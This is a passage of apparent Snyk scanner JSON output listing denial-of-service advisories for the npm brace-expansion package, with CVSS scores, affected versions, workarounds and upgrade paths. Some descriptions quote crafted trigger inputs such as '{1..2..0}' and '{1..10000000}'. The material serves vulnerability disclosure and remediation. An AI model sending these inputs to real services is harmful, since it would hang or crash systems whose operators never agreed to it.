References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", 